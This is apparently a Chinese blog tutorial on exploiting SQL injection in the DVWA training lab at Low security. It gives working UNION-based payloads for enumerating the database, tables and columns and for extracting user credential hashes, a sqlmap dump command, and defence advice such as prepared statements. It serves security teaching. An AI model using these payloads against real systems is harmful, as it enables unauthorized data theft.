当前位置: 首页 > web >正文

【DVWA系列】——SQL注入——low详细教程

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

    • 一、环境准备
    • 二、漏洞分析(Low级别)
    • 三、SQL注入攻击步骤
        • 1. 探测注入点
        • 2. 判断字段数
        • 3. 确定回显位置
        • 4. 获取数据库信息
        • 5. 获取表名
        • 6. 获取字段名(users表)
        • 7. 拖取用户数据
    • 四、防御建议
    • 五、总结
        • 提取关键信息
        • 自动化工具利用(sqlmap)
        • 1. 捕获请求
        • 2. sqlmap扫描命令
      • Low级别与其他级别防护对比

本文环境Security Level:low
以下是针对DVWA(Damn Vulnerable Web Application)中SQL注入漏洞在 Low安全级别下的详细教程,包含环境配置、漏洞原理、利用步骤及防御建议:


一、环境准备

1设置安全级别

  • 进入 DVWA Security → 选择 Security Level: Low → 点击 Submit

二、漏洞分析(Low级别)

  • 漏洞代码(查看源码路径:/vulnerabilities/view_source.php?id=sqli):
    $id = $_REQUEST['id'];
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    
  • 问题:用户输入的$id直接嵌入SQL语句,攻击者可通过插入单引号')闭合原有语句,注入恶意代码。

三、SQL注入攻击步骤

1. 探测注入点
  • 输入'(英文单引号)
    响应:SQL语法报错(如You have an error in your SQL syntax...)→ 存在字符型注入。
    在这里插入图片描述
2. 判断字段数
  • 输入1' ORDER BY 2 # → 正常返回
    在这里插入图片描述

    输入1' ORDER BY 3 # → 报错

在这里插入图片描述
结论:原查询返回2个字段

3. 确定回显位置
  • 输入1' UNION SELECT 1,2 #
    响应:页面显示数字12 → 两个字段均可回显数据
    在这里插入图片描述
4. 获取数据库信息
  • 数据库名与版本
    1' UNION SELECT database(), version() #
    
    响应:显示数据库名(如dvwa)和MySQL版本。
    在这里插入图片描述
5. 获取表名
  • 输入
    1' UNION SELECT 1, group_concat(table_name) 
    FROM information_schema.tables 
    WHERE table_schema = database() #
    
    响应:返回表名(如guestbook, users)。
    在这里插入图片描述
6. 获取字段名(users表)
  • 输入
    1' UNION SELECT 1, group_concat(column_name) 
    FROM information_schema.columns 
    WHERE table_name = 'users' #
    
    响应:返回字段名(如user_id, user, password)。
    在这里插入图片描述
7. 拖取用户数据
  • 输入
    1' UNION SELECT user, password FROM users #
    
    响应:显示所有用户名及MD5加密的密码(如admin → 5f4dcc3b5aa765d61d8327deb882cf99)。
    在这里插入图片描述

四、防御建议

  1. 预处理语句(PDO)
    $stmt = $conn->prepare("SELECT first_name FROM users WHERE user_id = ?");
    $stmt->bind_param("i", $id);  // "i"表示整数类型
    $stmt->execute();
    
  2. 输入过滤
    • 数字型参数:if (is_numeric($_GET['id'])) { ... }
    • 字符型参数:使用mysqli_real_escape_string()转义单引号等特殊字符。
  3. 最小权限原则:数据库账户仅授予必要权限(如禁止DROP)。

五、总结

  • Low级别漏洞本质:未过滤用户输入,直接拼接SQL语句导致命令执行。
  • 攻击核心:通过UNION SELECT联合查询逐步获取数据库元数据及敏感信息。
  • 防御核心预处理语句是根治SQL注入的最有效方案。
提取关键信息
目标信息Payload示例作用说明
数据库名与版本-1' UNION SELECT database(), version()#获取当前库名(如dvwa)及MySQL版本
所有表名-1' UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#返回表名(如guestbook, users
users表字段名-1' UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'#返回字段名(如user, password
用户凭证数据-1' UNION SELECT user, password FROM users#获取用户名及MD5加密密码

自动化工具利用(sqlmap)
1. 捕获请求
  • 使用Burp Suite或浏览器开发者工具获取提交id=1时的HTTP请求(含Cookie)。
2. sqlmap扫描命令
sqlmap -u "http://靶机IP/vulnerabilities/sqli/?id=1&Submit=Submit" \--cookie="PHPSESSID=xxx; security=low" \--batch --dbs
  • 关键参数
    --dbs:列出所有数据库
    -D dvwa --tables:获取dvwa库的表
    -D dvwa -T users --dump:导出users表数据(自动破解弱口令MD5)。

Low级别与其他级别防护对比

安全级别输入方式防护措施绕过难度
Low文本框直接输入无过滤
Medium下拉菜单mysql_real_escape_string转义⭐⭐
High独立输入页Token校验 + LIMIT 1限制⭐⭐⭐
Impossible表单验证PDO预处理 + CSRF Token不可绕过

  • Low级别漏洞本质:用户输入直接拼接SQL语句,无过滤无转义。
  • 攻击核心:通过闭合单引号注入UNION SELECT联合查询,逐步获取数据库元信息及敏感数据。
  • 防御核心预处理语句是唯一根治方案,辅以输入验证与最小权限原则。

⚠️ 注:本教程仅用于教育目的,实际渗透需获得授权。建议在DVWA的Medium/High级别中练习更复杂的绕过技巧。


相关学习问题

  1. Medium级别如何绕过mysql_real_escape_string
    → 通过数字型注入十六进制编码绕过单引号过滤(如table_name=0x7573657273)。
  2. 布尔盲注与时间盲注在Low盲注模块的区别?
    → 布尔盲注依赖页面返回状态(存在/缺失),时间盲注通过SLEEP()函数观察响应延迟判断条件真伪。
  3. PDO预处理为何能彻底防御SQL注入?
    → PDO将用户输入视为数据参数而非SQL代码,从语法层面隔离指令与数据。

如需进一步实践,可参考:DVWA渗透测试实战指南|SQL注入防御最佳实践。

⚠️ 注:本教程仅用于安全学习。实际渗透测试需获得授权,避免非法攻击。

通过此教程,可清晰掌握DVWA Low级别SQL注入的手动利用链及防御逻辑。建议逐步挑战Medium/High级别,理解不同防护机制的绕过技巧。

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

http://www.xdnf.cn/news/14527.html

相关文章:

  • CFD仿真硬件选型建议
  • Python高效操作MySQL数据库
  • 2025最新Nvm安装教程
  • ceil方法
  • linux多线程之可重入函数
  • 618背后的电商逻辑重构:从价格血战到价值共生
  • nlp和大模型
  • 深入剖析AI大模型:GPU在大模型训练与推理的性能抉择
  • gpfs的安装配置与部署
  • C语言:Linux libc和glibc的历史
  • Java的String
  • GitHub又打不开了怎么办?git pull push失败怎么办?
  • SpringBoot 全面深入学习指南
  • 【系统分析师】2011年真题:综合知识-答案及详解
  • k8s-pod-01的学习
  • AI for 数据分析:技术演进与应用实践
  • 汇川IS620N伺服驱动器如何通过etherCAT主站转profinet网关与西门子1200plc通讯
  • STL容器分类总结
  • 快速取模指数算法:密码学的核心引擎
  • 深度学习的正则化
  • Web server failed to start. Port XXX was already in use.
  • Python day32
  • Nginx超快速入门
  • 基于经济学季刊方法测算的中国城市蔓延指数
  • 【Dv3Admin】系统异步任务配置文件解析
  • 朴素贝叶斯:用条件逻辑照亮未知
  • 七 医学影像云平台-影像检验互联互认平台建设中遇到的问题
  • WIP数据,有bad wafer/lot,追踪设备/机台问题
  • Java 变量类型转换的选择题
  • react小白学习快速上手